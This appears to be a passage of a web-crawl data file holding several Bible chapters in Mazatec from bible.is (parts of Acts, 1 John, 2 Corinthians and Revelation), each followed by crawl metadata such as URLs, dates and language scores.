kitsò‑la̱ jyò titsa̱jnaà; i̱kjoàn tsibéno̱jmí‑la̱ kó s'ín komàt'in nga Nainá tsachrje‑ne nda̱yá. Kitsò‑la̱: ―K'oa̱á s'ín tèno̱jmí‑là jè Jacobo ko̱ xi̱ta̱ xinguia̱á xi i'nga. I̱kjoàn itjo ni'ya; xìn i̱'nde kiì. 18K'e̱ nga kis'e i̱sén ngats'iì soldado xi nchisíkinda̱, mì tà k'oa̱á kji kjoa̱siì kis'e‑la̱ nga mìkiì tíjiìn‑la̱ kó s'ín komà nga itjo nda̱yá Pedro. 19Jè Herodes kitsjaà o̱kixi̱ nga tsohótsji Pedro ta̱nga mìkiì kisakò‑la̱. K'e̱ nga jye kiskònangui‑la̱ ngats'iì soldado xi kisìkinda̱, jñà kiskaànè‑la̱ nga tsjìn Pedro; i̱kjoàn kitsjaà o̱kixi̱ nga kàtiyaà jñà soldado. Herodes itjokàjiìn ya̱ Judea. Ján kiì kijna na̱xa̱ndá Cesarea. 20Herodes kjoa̱sií tjín‑la̱ ko̱ xi̱ta̱ na̱xa̱ndá Tiro ko̱ Sidón. Xi̱ta̱ na̱xa̱ndá koi, tsajoóya‑ne nga inchrobàkon Herodes. Ta̱nga ítjòn ndaà tsajoóko̱ Blasto xi ti̱koa̱ xá tjín‑la̱ ya̱ ni'ya‑la̱ Herodes xi xi̱ta̱xá ítjòn tíjna. Ko̱ jè Blasto kiìchja̱tjì na̱xa̱ndá koi nga kàtas'e kjoa̱'nchán. Koií k'oa̱s'ín kis'iìn‑ne jñà na̱xa̱ndá koi, nga ya̱ nangui‑la̱ Herodes otse tsojmì xi kine. 21Jè na̱chrjein k'e̱ nga chixoña xi̱ta̱ nga kisijna junta, jè Herodes, tsohòkjá nikje‑la̱ xi ts'e̱ xi̱ta̱xá ítjòn; tsibìjnasòn íxi̱le̱‑la̱, i̱kjoàn kiìchja̱jiìn‑la̱ xi̱ta̱ na̱xa̱ndá. 22Jñà xi̱ta̱ na̱xa̱ndá, k'e̱ nga kiì'nchré‑la̱, tsibíts'ia̱ nga 'ñó kiìchja̱ kitsò: ―¡Jè xi tíchja̱, jngoò xi̱ta̱ xi nainá, mìtsà ta̱xki̱ xi̱ta̱! 23Ti̱k'e̱‑ne j'iì àkja̱le̱‑la̱ Nainá xi kitsjaà ch'in‑la̱; kjòxk'én, chi̱'ndoó kisìkje, i̱kjoàn k'en, koií kjoa̱‑la̱ nga mìkiì jeya kisìkíjna Nainá. 24Ta̱nga jè 'én‑la̱ Nainá ìsa̱á ndaà tíhobísòn k'oa̱ ìsa̱á ndaà tímakjìn xi̱ta̱ xi mokjeiín‑la̱. 25Jè Bernabé ko̱ Saulo, k'e̱ nga jye kjòngásòn xá‑la̱, inchrobà‑ne Jerusalén, kiì‑ne ján Antioquía. Tji̱ko̱ Juan xi ti̱koa̱ Marcos 'mì.\nHechos 12","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/12","date":"2014-03-08T04:12:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999652955\/warc\/CC-MAIN-20140305060732-00021-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000020265579224}","num_words":665,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14Jñá jyeé tíjiìn‑ná nga jyeé itjokàjñaá ya̱ ndi̱yá kjoa̱biyaà xi ya̱ tjaáyaá kjòtseé ko̱ jyeé tjín‑ná kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. Nga̱ jyeé k'oa̱s'ín ndaà matsjachaá jñà xi̱ta̱ xinguia̱á xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱. Jè xi̱ta̱ xi mìkiì matsjakeè xíkjín, ndi̱yá kjoa̱biyaá tsóhoya jè ini̱ma̱‑la̱.\n1 Juan 3:14\nFREE!\nOne App.\n1348 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/1John\/3\/14","date":"2014-03-11T21:24:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011278661\/warc\/CC-MAIN-20140305092118-00004-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999676943,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 0.9999676942825317}","num_words":52,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ko̱'sín bixó‑ji̱n, ¿a ta jé ijo‑na̱ji̱n nda i̱nchiníkítsa̱jna india‑naji̱n? Ko̱, ¿a 'koa̱á 'sín mejèn‑najiòn tsa jngo xa̱jo̱n ko̱kón‑laji̱n ya̱ ñánda̱ nga nda tíchja̱ ra a̱'ta tsa̱ji̱n, o̱ ra jión 'ki̱ jngo‑náji̱n xa̱jo̱n ya̱ ñánda̱ nga nda kixó jiòn ra a̱'ta tsa̱ji̱n koni 'sín 'sín i'ka xi̱ta̱ ra kj'ií? 2Jiòn sabá‑nájiòn xa̱jo̱n‑na̱ji̱n ra nda tíchja̱ ra machjeén‑naji̱n, jngo xa̱jo̱n ra ya̱ tjínda'tá ya̱ a̱jin inìma̱‑na̱ji̱n, jè xa̱jo̱n ra nda bexkon nga'tsì xi̱ta̱ ko̱ ti̱'koa̱ ma kotá'yá. 3'Koa̱á 'sín nda 'ya‑la̱ nga jión‑nájiòn xa̱jo̱n ra jè Cristo tsikínda, ra ji̱n tsako̱‑naji̱n nga inika'bí‑ji̱n. Jngo xa̱jo̱n ra mì tsa tinda̱‑la̱ làpi̱ isinda‑ni, nga̱ ngi ko̱ó Inìma̱ Tsje‑la̱ Nainá ra tíjnakon isinda‑ni ra tjí'ta. Mì tsa na̱jo̱ isinda'tá, ya̱á isinda'tá ya̱ a̱jin inìma̱‑la̱ xi̱ta̱. 4Nga̱ a̱'ta 'tse̱ Cristo‑ní nga ko̱'sín tjíjngo takòn‑ji̱n nga 'koa̱á 'sín tjín kjoa̱ kìi̱ ya̱ ngixko̱n Nainá. 5Mì tsa tsò‑ni kjoa̱ nga tsa̱ji̱n‑náji̱n nga'ñó ra nichjeén‑ji̱n 'kia̱ nga ko̱'sín 'nià‑ji̱n kjoa̱ kìi̱. Nga̱ nga'tsì kjoa̱ ra ma‑naji̱n 'nià‑ji̱n, a̱'ta 'tse̱é Nainá nchrabá‑ni nga'ñó. 6Jè sabá Nainá isìchji̱ne̱‑naji̱n mé‑ni nga si̱xá'ta‑la̱ji̱n nga ki̱nákjoa̱ya‑ji̱n kó'sín tjín kjoa̱ ra tsikíndajín xi̱tse̱ india‑ni ra kjo̱nda 'tse̱ xi̱ta̱. Kjo̱nda ra tsikíndajín xi̱tse̱ Nainá, mì tsa ya̱ nchrabá‑ni jè kjo̱téxoma ra isinda, ya̱á nchrabá‑ni a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá. Kjo̱téxoma ra ko̱'sín isinda, kjo̱biyaá bíné‑ná, tanga jè ra a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá nchrabá‑ni, síkíjnakoón inìma̱‑ná. 7Jè kjo̱téxoma ra ki'tsì‑la̱ Moisés ra na̱jo̱ kisinda'tá, kjo̱biyaá bíné‑ná. Tanga 'ñó ki'se‑la̱ kjoa̱jeya jè i̱sén‑la̱ Moisés 'kia̱ nga ki'tsì‑la̱ jè kjo̱téxoma kìi̱, nga̱ 'ñó fate ni'í tsatsíjen nga skanda jñà xi̱ta̱ Israel mì kì ti̱ ma iskotsíjen'á‑ni ya̱ i̱sén‑la̱ Moisés. Tsa ko̱'sín ki'se‑la̱ kjoa̱jeya jè kjoa̱ ra ko̱'sín tjínè‑la̱ nga ta ya̱ fehe'ta, 8¿a mí tsa tjínè‑la̱ nga isa̱ 'ñó kata'se‑la̱ kjoa̱jeya jè kjoa̱ xi̱tse̱ nga jè Nainá tsjá‑ná jè Inìma̱ Tsje‑la̱? 9Tsa 'koa̱á 'sín 'ñó jeya kjomà 'kia̱ nga jè Moisés ki'tsì‑la̱ jè kjo̱téxoma ra kjo̱hi'in bíné‑ná, ¿a mí tsa isa̱ tjínè‑la̱ nga 'ñó kata'se‑la̱ kjoa̱jeya a̱'ta 'tse̱ kjoa̱ ra 'bena̱jmíya‑ji̱n nga ko̱'sín jè Nainá, xi̱ta̱ kixi̱í bachrjengi‑ná? 10Ni̱'sín 'ñó ki'se‑la̱ kjoa̱jeya kjo̱téxoma ra ijye tsato, tanga mì kì ti̱ mangásòn‑ko̱‑ni koni jè kjoa̱jeya ra tjín‑la̱ jè kjoa̱ xi̱tse̱‑la̱ Nainá, nga̱ síkatoné‑la̱. 11Tsa jè kjoa̱ ra ta ya̱ fehe'ta, tseé kjoa̱jeya ki'se‑la̱, isa̱á machjeén nga isa̱ 'ñó kata'se‑la̱ kjoa̱jeya jè kjo̱nda xi̱tse̱ ra mì fehe'ta skanda ta mé ni̱chjin‑ni. 12Nga̱ 'koa̱á 'sín tjíjngo takòn‑ji̱n nga i̱nchichiñá‑la̱ji̱n kjoa̱ kìi̱, 'koa̱á ma‑ni nga mì tsa masabà‑naji̱n koni 'sín nga nakjoá‑ji̱n. 13Mì tsa ko̱'sín 'nià‑ji̱n koni 'sín ki'sìn jè Moisés nga nikje xo̱'ba̱ tsakájtsa ya̱ i̱sén‑la̱ mé‑ni nga mì kì ske̱‑ni jñà xi̱ta̱ Israel jè kjoa̱jeya ra ko̱'sín tjínè‑la̱ nga ta ya̱ fehe'ta. 14Tanga jñà xi̱ta̱ Israel kjótájajín inìma̱‑la̱ skanda ni̱chjin 'ndi̱ 'ndi̱. 'Kia̱ nga kotá'yá jè xa̱jo̱n ra tjí'ta kjoa̱ jchínga ra tsikíndajín ítjòn Nainá ra a̱'ta 'tse̱ xi̱ta̱, takó 'koa̱á 'sín jngoya‑la̱ koni tsa jngo nikje xo̱'ba̱ kjijtsa kjo̱bítsjen‑la̱ ra mì kì tsjá'nde‑la̱ nga machi̱ya‑la̱. Nga̱ takó kjè kì tjahíxìn‑la̱ jè ra kjijtsa kjo̱bítsjen‑la̱. Nga̱ ta̱ jngoó a̱'ta 'tse̱ Cristo ma tjáhixìn‑la̱. 15Skanda ni̱chjin 'ndi̱ 'ndi̱‑ni̱, jñà xi̱ta̱ Israel 'kia̱ nga kotá'yá jè xa̱jo̱n ra jè Moisés tsikínda, takó koni jngoó nikje xo̱'ba̱ bíchjàjin kjo̱bítsjen‑la̱ nga mì kì machi̱ya‑la̱. 16Tanga 'kia̱ nga jngo xi̱ta̱ máfa'ta‑la̱ Na̱'ín‑ná ra tíjna ítjòn‑ná nga makjiín‑la̱ ra a̱'ta 'tse̱, tjahíxín‑la̱ jè ra bíchjàjin kjo̱bítsjen‑la̱. 17Nga̱ jè Na̱'ín‑ná ti̱jé‑ni ra Inìma̱ Tsje. Ko̱ jè xi̱ta̱ ra ya̱ tíjnajin ya̱ inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá, ijyeé tíjnandi̱í‑ní. 18Nga'tsí‑né, 'kia̱ nga mì ti̱ mé kjijtsa‑ni kjo̱bítsjen‑ná, 'koa̱á 'sín kjén koni jngo chi̱tsín ra ma chitsíjen‑yé, ra fate síkatsíjen jè kjoa̱jeya‑la̱ Na̱'ín‑ná; ko̱ ni̱chjin nchijón‑ní nga tífaatjìya‑ná koni 'sín nga i̱nchi'yeé kjoa̱jeya‑la̱; 'koa̱á 'sín kjòn tímeé koni 'sín 'ki ra jè, nga̱ jé Inìma̱ Tsje‑la̱ Na̱'ín‑ná ra ko̱'sín tísíko̱‑ná.\n2 Corintios 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/3","date":"2014-03-12T20:28:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394024785290\/warc\/CC-MAIN-20140305130625-00041-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":614,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1J'iì jngoò jñà àkja̱le̱ xi itoò ma‑ne xi itoò chi̱tsín tjíya tsja, kiìchja̱, kitsò‑na̱: ―Nchroboí, kokoò‑lè kjo̱'in xi tjoé‑la̱ jè chjo̱ón chijngui xi 'ñó ndaà yaxkon‑la̱ xi tíjnandiì ñánda nga kjìn xa̱jngá nandá fahato. 2Jñà xi̱ta̱xá ítjòn xi tjín i̱sò'nde, ya̱á tsafáhijtako̱ chjo̱ón jè nga kj'ei̱í nainá kijtseèxkón k'oa̱á ngaya‑la̱ tsà kjoa̱ chijngui kisìko̱ jè chjo̱ón. Ko̱ ngats'iì xi̱ta̱ xi tjín i̱sò'nde, k'oa̱á ti̱ kis'iìn nga kj'ei̱í nainá kiìtji̱ngui‑la̱ k'oa̱á ngaya‑la̱ koni tsà xán ts'e̱ kjoa̱chijngui‑la̱ chjo̱ón kjòch'i̱‑ne. 3I̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, jè àkja̱le̱ kiìko̱ ini̱ma̱‑na̱ jngoò i̱'nde i̱t'aà xìn ñánda nangui kixì choòn. Kìjtseè jngoaà chjo̱ón xi tíjnakjá‑la̱ cho̱ je xi ch'o kji xi inì kji. Yijàjno yije yijo‑la̱ 'én xi kondra̱ ts'e̱ Nainá nga chja̱jno‑la̱. Itoò ma sko̱ ko̱ te ma nchra̱já‑la̱. 4Jè chjo̱ón, nikje sko ko̱ nikje inì kjoàn xi íkjá. Yijàjno xi nguì oro ko̱ nda̱jo̱ ote xi 'ñó ts'e̱ chjí‑la̱, ko̱ ndáto̱n fangui xi 'ñó chjí‑la̱ xi 'mì perla. Tjíya tsja jngoò chi̱tsín xi nguì oro; jè chi̱tsín kitseé kjoa̱ ch'o‑la̱ ko̱ kjoa̱ tjé xi ts'e̱ kjoa̱ chijngui‑la̱. 5Ya̱ i̱tjòn tjen‑la̱, tjít'aà 'én 'ma xi tsò: \"Babilonia xi 'ñó je kji nga ndaà yaxkon‑la̱, jè nea̱‑la̱ íchjín chijngui ko̱ ngats'iì kjoa̱ ch'o xi tjín i̱sò'nde.\" 6K'e̱ nga kiskoò'an chjo̱ón jè, kìjtseè xkoaàn nga ch'i̱‑né nga jní‑la̱ xi̱ta̱‑la̱ Nainá kits'iì ko̱ ts'e̱ xi̱ta̱ xi kinìk'en nga 'én‑la̱ Jesús kiìchja̱ya. K'e̱ nga kìjtseè tà kjòxkón‑na. 7Kitsò‑na jè àkja̱le̱: ―¿Mé‑ne maxkón‑lè? 'A̱án, kèno̱jmí‑lè kó tsòya‑ne kjoa̱ 'ma‑la̱ chjo̱ón jè, ko̱ i̱t'aà ts'e̱ cho̱ je xi ch'o kji xi tíjnakjá‑la̱ xi itoò ma sko̱ koa̱ te ma nchra̱já‑la̱. 8Jè cho̱ xi kà'yi, tsibìjnakon‑né, ta̱nga i̱'ndei̱ tíjnak'en‑né; ya̱á kji̱nchrobà mijìn‑ne ni̱tja̱n jñò mé‑ne nga jngoò k'a chi̱ja‑ne. Jñà xi̱ta̱ xi tjín i̱sò'nde, xi mìkiì tjít'aà 'ín‑la̱ xo̱jo̱n ts'e̱ kjoa̱binachon kóni nga ti̱sa̱ kisindaà i̱sò'nde, tà ko̱xkón‑la̱ k'e̱ nga skoe̱xkon jè cho̱ xi tsibìjnakon, ko̱ i̱'ndei̱ tíjnak'en‑né, ta̱nga ko̱tsején ìjngoò k'a‑ne. 9'I̱íjndé mochjeén kjo̱hítsjeèn xi tjín‑la̱ kjoa̱ chji̱ne̱. Jñà sko̱ cho̱ xi itoò ma‑ne, jñà ngaya‑la̱ jñà nindoò xi itoò ma‑ne ñánda tíjnanè jè chjo̱ón. Ti̱koa̱á jñà ngaya‑la̱ xi itoò ma‑ne xi̱ta̱xá ítjòn. 10'Òn ma‑ne xi jye k'en, jngoò ma xi tíhotíxoma‑ìsa, ko̱ jè xi ìjngoò, kj'eè kiì f'iì. Ta̱nga k'e̱ nga kjoi̱í, tà chibaá na̱chrjein ko̱tìxoma. 11Jè cho̱ je xi ch'o kji xi tsibìjnakon ta̱nga i̱'ndei̱ tíjnak'en‑né, jè xi ma‑ne jiìn xi̱ta̱xá ítjòn. Ya̱á tíjnajiìn‑la̱ xi itoò ma‑ne, ko̱ ya̱á tífì ñánda nga jngoò k'a jchi̱ja. 12'Jñà nchra̱já xi te ma‑ne xi kà'yi, jñà ngaya‑la̱ xi̱ta̱xá ítjòn xi te ma‑ne xi kj'eè kiì tjoé‑la̱ kjo̱tíxoma. Ta̱nga k'e̱ nga tjoé‑la̱ kjo̱tíxoma ta jngoò hora ko̱tìxomakjoò ko̱ jè cho̱ je xi ch'o kji. 13Jñà xi̱ta̱xá ítjòn xi te ma‑ne, ta̱jngoó kjo̱hítsjeèn tjín‑la̱ nga jè cho̱ je xi ch'o kji si̱ìnga̱tsja nga'ñó‑la̱ ko̱ kjo̱tíxoma‑la̱. 14I̱kjoàn ska̱àn‑ko̱ jè Orrè, ta̱nga jè Orrè si̱ìkijne‑né. Nga jè‑né xi otíxoma‑la̱ jñà xi̱ta̱ xi otíxoma, ko̱ Xi̱ta̱xá Ítjòn‑la̱á ma jñà xi xi̱ta̱xá ítjòn títsa̱jna. Jñà xi̱ta̱ xi títsa̱jnako̱, xó kinokjoà‑la̱, xó kitjaàjiìn‑ne, ko̱ kixi̱í síkitasòn‑la̱. 15Jè àkja̱le̱ k'oa̱á ti kitsò‑na: ―Jè nandá xi kà'yi, ñánda tíjnandiì chjo̱ón chijngui, na̱xa̱ndá‑né, xi̱ta̱ kjín‑né, jñá‑né xi̱ta̱ xi tjín nga ìjngoò ìjngoò nangui xi tjín i̱sò'nde, koa̱ jñá‑né xi̱ta̱ xi chja̱ ngats'iì 'én xi tjín i̱sò'nde. 16Jñà nchra̱já xi te ma‑ne xi kà'yi, ko̱ jè cho̱ je xi ch'o kji xi kà'yi, si̱ìjtikeè‑né jè chjo̱ón chijngui, kjoa̱á'an yije‑la̱ skanda jñà nikje‑la̱, si̱ìkájna laká‑né. Yijo‑la̱ ski̱ne̱‑né. I̱kjoàn ya̱á ko̱kájiìn ni'ín. 17Nainá k'oa̱á s'ín tsibíjiìn kjo̱hítsjeèn‑la̱ jñà xi̱ta̱ koi nga k'oa̱s'ín si̱ìkitasòn koni s'ín mejèn‑la̱ Nainá. Jè kjo̱tíxoma xi tjín‑la̱ xi̱ta̱ koi tíjngoò ikon nga jè cho̱ ts'e̱n ko̱nga̱tsja, skanda k'e̱ nga ki̱tasòn yije 'én xi kiìchja̱ Nainá. 18Jè chjo̱ón xi kà'yi, jè‑né na̱xa̱ndá je xi otíxoma‑la̱ jñà xi̱ta̱xá ítjòn xi tjín i̱sò'nde.\nApocalipsis 17","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/17","date":"2014-03-08T07:15:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999653835\/warc\/CC-MAIN-20140305060733-00020-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000006914138794}","num_words":611,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1―Nga'tsiò ra xi̱ta̱ Israel 'mì‑no, ko̱ ra xi̱ta̱ jchínga 'mì‑no, nda ti̱ná'yá‑ná koni 'sín xin‑no nga kósi̱ko̱tjià ijo‑na̱. 2Jñà xi̱ta̱, 'kia̱ nga kií'nchré nga 'én hebreo kiìchja̱‑la̱, isa̱á ta jyò tsikitsa̱jna. 'Kia̱á kitsò‑isa Pablo: 3―'A̱n, xi̱ta̱ judío‑ná. Ya̱á kitsian ya̱ Tarso, na̱xi̱ndá ra chja̱‑ni ya̱ Cilicia. Tanga i̱í kjójcháa̱ Jerusalén. Jé ískotá'yá'ta‑la̱ jè maestro Gamaliel. 'Ñó nda tsakón‑ya‑na koni 'sín tjín kjo̱téxoma 'tse̱ xi̱ta̱ jchínga‑ná. Ngi tjíjngoó takoàa̱n nga tísìhitjásòn‑la̱ Nainá koni 'sín 'nià jiòn skanda ni̱chjin 'ndi̱ 'ndi̱. 4Nga 'sa̱ kjotseé, kítsahatji̱ngi‑la̱ ko̱ skanda kjomején‑na nga kísì'kéen jñà xi̱ta̱ ra fìtji̱ngi‑la̱ jè ndi̱yá xi̱tse̱ ra̱kìi̱. Ítsabá'ñó‑ná nga ísikjáha'sen nda̱yá ra ko̱ íchjín ko̱ íchjá. 5Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ nga'tsì xi̱ta̱ jchínga ra títsa̱jna ítjòn, ndaá kijtse jñà kjoa̱ kìi̱. Jñá kitsjà‑na xa̱jo̱n ra 'ya‑la̱ xi̱ta̱ xàngie̱é ra títsa̱jna ya̱ Damasco, ko̱ kijí‑ná ya̱ Damasco mé‑ni nga ko̱ma kji̱nchrabàko̱‑na i̱ Jerusalén nga'tsì xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Cristo mé‑ni nga kata'bì‑la̱ kjo̱hi'in. 6''Kia̱ nga ijye ijchò chraña ya̱ Damasco, ijchó‑la tsa nchisen 'kia̱. Tà ndi̱to̱ón tsatsíjen jngo‑na ni'í ra ngajmi inchrabà‑ni ra isìhisen kóho'ki jngo tjindi ñánda̱ nga tísi̱jnaa̱. 7Iskajndo'táa̱ ya̱ nangi. Ko̱ a̱kjòn kí'nchre jngoo̱ 'én ra a̱jin i̱sén kiìchja̱, kitsò: \"Saulo, Saulo, ¿mé‑ni kondra̱ tji'mi‑ná, nga 'a̱án ra tjimihìtji̱ngi‑ná?\" 8'Kia̱á ískonangi‑la̱, kíxin‑la̱: \"¿Yá‑ni ngaji̱ Na̱'ìn?\" Kitsó‑na: \"'A̱n‑ná ra 'mì‑na Jesús ra Nazaret tsa̱'a̱n, 'a̱n‑ná ra kondra̱ tji'mi‑la̱ ji̱ nga tjimihìtji̱ngi‑la̱.\" 9Jñà xi̱ta̱ ra tje̱n‑ko̱‑na, kijtseé ni'í ra kjohisen, tanga mì kì kjòchi̱ya‑la̱ 'én‑la̱ jè ra 'a̱n kiìchja̱‑na. 10'Kia̱á ískonangi‑la̱ nga kíxin‑la̱: \"¿Mé ra 'siaa̱n, Na̱'ìn?\" Kitsó‑na: \"Ti̱sítji̱in, 'tin ya̱ Damasco. Ya̱á 'se̱na̱jmí ijye‑li kó'sín nga ijye tjínda nga 'si̱in.\" 11'A̱n mì kì ti̱ tsatsíjen‑na, ta nga̱tjì‑la̱ jè ni'í ra 'ñó jate isìxka̱‑na. Jñà xi̱ta̱ ra tje̱n‑ko̱‑na itsabá'ñó ndsa̱ nga kiìko̱‑na skanda ya̱ ján Damasco. 12'Ya̱á tíjna jngo xi̱ta̱ ra 'mì Ananías ra nda bexkón Nainá koni 'sín tíchja̱ kjo̱téxoma‑la̱ Moisés; nga'tsì xi̱ta̱ judío ra títsa̱jna ya̱ Damasco, saba 'koa̱á 'sín tsò nga ndaá xi̱ta̱ jè Ananías. 13'Kia̱ nga 'ji katsíjen‑na jè Ananías, kitsó‑na: \"'Ndsé Saulo, katatjá'xa̱ india‑ni jñà xkìn.\" Ti̱'kia̱á itjá'xa̱‑ni jñà xkoàa̱n, a̱kjòn ma kíjtsee̱ jè Ananías. 14'Kia̱á kitsò-isa‑na: \"Jé Nainá ra 'tse̱ xi̱ta̱ jchínga‑ná tsjahíjin‑li mé‑ni nga jcha̱xkin mé ra mejèn‑la̱, ti̱'koa̱á jcha̱xkin jè ra Ngi Xi̱ta̱ Kixi̱; ko̱ ki̱ná'yi 'én‑la̱ ra tsa'ba ki̱tjo‑ni. 15Nga̱, ji̱í 'ki̱‑la̱ 'én‑li nga'tsì xi̱ta̱ nga 'kéna̱jmí‑la̱ nga'tsì kjoa̱ ra tjì'yi ko̱ ra tjina'yí. 16¡Kì ta̱ tsja chiñá‑ni! Ti̱sítji̱in nga katasatíndí. Ti̱jé‑la̱ kjoa̱nìhijcha'ta jè Jesús mé‑ni nga katatsje‑ni jé‑li.\" 17''Kia̱ nga 'jíi̱‑na i̱ Jerusalén, ya̱á kijiàa̱ ñánda̱ tíjna i̱ngo̱ ítjòn nga kíchjà'ta‑la̱ Nainá. Ya̱á tsatsíjen jngo‑na ra koni tsa tí'bì‑na nijñá. 18Kíjtse‑náa̱ jè Na̱'ín‑ná nga kitsò‑na: \"Ti̱xátíyi, ndi̱to̱n títjo̱kàjin i̱ na̱xi̱ndá Jerusalén; nga̱ mì kì yá ra kji̱'nchré 'én ra ki̱nákjoa̱yi ra a̱'ta tsa̱'a̱n.\" 19'A̱n kíxin‑la̱: \"Na̱'ìn, ijyeé tjíjiín‑la̱, nga 'a̱án‑ná ra ítsabá'ñó nga ísikjáha'sen nda̱yá ko̱ nga ískajàn‑ko̱ jñà xi̱ta̱ ra makjiín‑la̱ ra a̱'ta tsa̱ji ñánda̱ nga jngó jngó ni'ya sinagoga kijiàa̱ ya̱ ñánda̱ nga maxkóya xi̱ta̱ Judío. 20Ko̱ ti̱'koa̱á ya̱á tíjna̱ 'kia̱ nga isì'ken xi̱ta̱ jè chi̱'nda‑li Esteban, jè ra kitsjà 'én ra a̱'ta tsa̱ji; ti̱'koa̱á isìjngoó takoàa̱n 'kia̱ nga ini'ken; skanda 'a̱án ísikínda̱ jñà nikje‑la̱ xi̱ta̱ ra isì'ken.\" 21Tanga jè Na̱'ín‑ná kitsó‑na: \"'Tin, ya̱á sikásén‑la na̱xi̱ndá ra kjin kjihijyo ya̱ ñánda̱ títsa̱jna ra mì tsa xi̱ta̱ judío.\" 22Jñà xi̱ta̱ na̱xi̱ndá, skanda ta ya̱á kií'nchré-isa‑la̱; a̱kjòn 'kia̱á 'ñó kiìchja̱, kitsò: ―¡Xi̱ta̱ ra̱kìi̱, katabiya! ¡Mì ti̱ kì machjeén‑ni nga kíjnakon‑isa i̱ i̱sà'nde! 23Jñà xi̱ta̱ kìi̱, isa̱á 'ñó kiìchja̱‑isa; tsikítsajne nikje‑la̱ ko̱ tsikíxten‑jín chijo ya̱ a̱jin i̱sén. 24Jè xi̱ta̱ ítjòn‑la̱ chíchàn, kitsjá kjo̱hixi̱ nga ya̱ katasijna'ya Pablo ya̱ ni'ya 'tse̱ chíchàn; ti̱'koa̱á kitsjá kjo̱hixi̱ nga katajá‑la̱ mé‑ni nga kata'béna̱jmí‑ni mé ra ki'sìn, mé‑ni ko̱'sín ta̱ si síko̱‑ni jñà xi̱ta̱. 25'Kia̱ nga ijye tsikí'tá'ñó nga ko̱jà‑la̱, jè Pablo kitsò‑la̱ jè chíchàn ra ya̱ síjna, jè ra bí'tin jñà chíchàn ra i'ka: ―¿A tjí'nde‑najiòn nga ko̱'sín si̱ko̱o jngo xi̱ta̱ romano ra kjè 'ya‑la̱ mé jé ra tjín‑la̱? 26Jè chíchàn ra̱kìi̱, 'kia̱ nga kií'nchré nga xi̱ta̱ romano‑ní, kiìjkoón jè xi̱ta̱ ítjòn‑la̱, kitsò‑la̱: ―¿Mé ra 'si̱in? Nga̱ jè xi̱ta̱ ra̱kìi̱, xi̱ta̱ romano‑ró. 27Jè xi̱ta̱ ítjòn‑la̱ chíchàn kijì‑ní nga ikjonangi‑la̱ Pablo, kitsò‑la̱: ―Ngaji̱, ¿a kixi̱í kjoa̱ nga xi̱ta̱ romano‑ní? Jè Pablo kitsó‑la̱: ―Jon, 'én kixi̱‑ní. 28Jè xi̱ta̱ ítjòn‑la̱ chíchàn kitsó‑la̱ Pablo: ―Tse jchán to̱n isingi‑na nga ma xi̱ta̱ romano kjomà. Ko̱ jè Pablo kitsó‑la̱: ―Tanga ra 'a̱n, xá 'koa̱á 'sín kitsin‑na nga xi̱ta̱ romano. 29Jñà chíchàn ra tjín‑ni nga ko̱jà‑la̱ tsincha'taxìn‑ní; ti̱'koa̱á jè xi̱ta̱ ítjòn‑la̱ chíchàn skanda itsakjón‑ní ta nga̱tjì‑la̱ nga jè kitsjà kjo̱hixi̱ nga kisi'tá'ñó. 30'Kia̱ nga ma nchijòn, jè xi̱ta̱ ítjòn‑la̱ chíchàn mejèn‑la̱ nga ske̱ mé kjoa̱ kjòn‑ni ra tjín‑la̱ jè Pablo mé‑ni nga ko̱'sín bángi‑ni jñà xi̱ta̱ judío. Iskíjnda̱'ñó‑ni; a̱kjòn tsikíxkóya xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío; kiìko̱ Pablo, tsasíjna masen ya̱ ngixko̱n xi̱ta̱ kìi̱.\nHechos 